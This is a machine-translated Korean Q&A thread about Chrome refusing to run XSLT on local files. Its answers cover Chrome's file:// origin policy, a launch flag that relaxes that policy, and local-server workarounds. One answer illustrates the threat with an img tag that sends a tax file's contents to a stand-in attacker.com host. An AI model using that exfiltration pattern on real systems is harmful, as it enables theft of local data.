[xml] Chrome이 로컬 파일에서 XSL 변환을 수행하도록 만들 수 있습니까?

xslt를 살펴보고 w3schools의 예제로 테스트를 시작했습니다.

그러나 xml 및 xsl을 파일에 저장하고 로컬에서 열면 크롬이 xsl 변환을 수행하지 않습니다. 빈 페이지 만 표시됩니다.

나는 <?xml-stylesheet type="text/xsl" href="style.xsl">xml 문서에 태그를 추가했고 , firefox는 그것이 보이는대로 그것을 렌더링합니다. 또한 웹 서버를 통해 파일을 보면 크롬은 파일을 예상대로 표시합니다.

링크가 로컬 일 때 크롬이 스타일 시트 정보를 찾는 데 문제가 있습니까? href를로 변경해 file:///C:/xsl/style.xsl도 아무런 차이가 없습니다.

업데이트 : 이것은 file : /// *을 동일한 출처로 취급하지 않는 보안 정책의 부작용 인 것 같습니다 . 이로 인해 콘솔에 다음 오류가 나타납니다.

URL file : /// C : /xsl-rpg/data.xml이있는 프레임에서 URL file : /// C : /xsl-rpg/style.xsl을로드하려는 안전하지 않은 시도. 도메인, 프로토콜 및 포트가 일치해야합니다.



답변

짧은 대답은 “아니요, 다양한 브라우저 중 하나를 사용하십시오 “ 입니다.

이유는이 작동하지 않음 인해 크롬 논란이 방법으로 해결했다고 보안 문제에 [1] [2] [3] [4] , 동안, 같은 디렉토리에 지역 XSLT 파일에 액세스 XML 파일을 차단하여 HTML 파일은 동일한 디렉토리에있는 .CSS 파일에 액세스 할 수 있습니다.

위에 언급 된 문제에서 사용자는 더 명확한 오류 메시지 (도메인, 프로토콜 및 포트가 실제로 일치하기 때문에)를 요청하거나 최소한 스타일없이 XML을 표시하도록 요청했습니다. Chrome 개발자는 이러한 요청을 무시했습니다.


답변

Chrome의 명령 줄 플래그를 사용하여 로컬에서이 작업을 수행 할 수 있습니다.

특정 플래그는 --allow-file-access-from-files

OS X : Terminal.app에서 실행 /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

Windows : 명령 프롬프트에서 다음을 실행하십시오. %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

참고 : 현재 실행 중이면 Chrome을 종료해야합니다. 그렇지 않으면 Ch


답변

OP를 고수하고 싶다면 대답은 아니요 (다른 사람들이 지적했듯이)이지만 문제를 해결하는 한 가지 방법은 간단한 웹 서버를 실행하고 크롬에서 http를 통해 파일을 여는 것입니다. python 2.x가 설치되어있는 경우 다음을 입력하여 웹 서버를 실행할 수 있습니다.

python -m SimpleHTTPServer

또는 파이썬 3.x에서 :

python3 -m http.server

그런 다음 http://localhost:8000/yourfile.xml크롬에서 사용하여 파일을 엽니 다 . 바라건대 당신은 당신의 일을 끝내고 싶고 파일을 여는 것이 중요하지 않습니다.file://


답변

Chrome 버그 페이지에서 약간의 해독이 필요했습니다. 그들은 문제가 무엇인지, 왜 모든 사람을 깨뜨리지 않고 모든 사람을 깨뜨리는 것을 선택했는지 설명하지 않는 데 매우 열심입니다.

내 하드 드라이브 어딘가에 XML 파일이 있다고 가정합니다 . 예 :

C : \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

그리고 악의 실체는 – 어떻게 든 – 내 컴퓨터, 예에 악의적 인 XML 파일을 드롭 관리 :

C : \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

TrojanVirusWorm.xml 에 스타일 시트 처리 명령 ( PI )이 포함되어 있다고 상상해보십시오 .

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

그런 다음 공격자는 내 브라우저에 로컬로 저장된 trojanVirusWorm.xml파일 을 탐색하도록 지시 합니다.

XML 파일 이 XSD 파일에 의해 변환되는 대신 XSD 파일의 내용을 읽을 수있는 방법이 있습니다 .

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

XML 파일이 스타일 시트 파일을 읽는 방법을 이해하지 못합니다. 그러나 Chrome 팀은 이것이 위험하며 해결할 수 없다고 확신합니다.

다른 모든 브라우저가 그것을 해결했습니다. 그들은 문제가 아니기 때문에 그것을 해결했습니다 .


답변

xsl 파일에 따라 xml을 보는 내 해결 방법

헤더가있는 some_file.xml이 있다고 가정합니다.

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. 파일을 다운로드 https://some-site.com/Common.xsl하고some_file.xml
  2. 헤더의 일부를에서 href="https://some-site.com/Common.xsl"로 변경href="http://localhost:8001/Common.xsl"
  3. 파일이있는 디렉토리에서 실행하십시오- python3 -m http.server 8001
  4. 모든 브라우저에서 열기 http://localhost:8001/some_file.xml


답변

브라우저 설정을 변경하여 Chrome에서 XSL 파일을 렌더링하도록 설정할 수 있습니다. 더 안전한 접근 방식은 Visual Studio Code Live Server 또는 Apache와 같은 로컬 웹 서버를 통해 액세스하는 것입니다. 단계 는 XSLT가 로컬 파일 에서 렌더링되지 않음을 참조 하십시오.


답변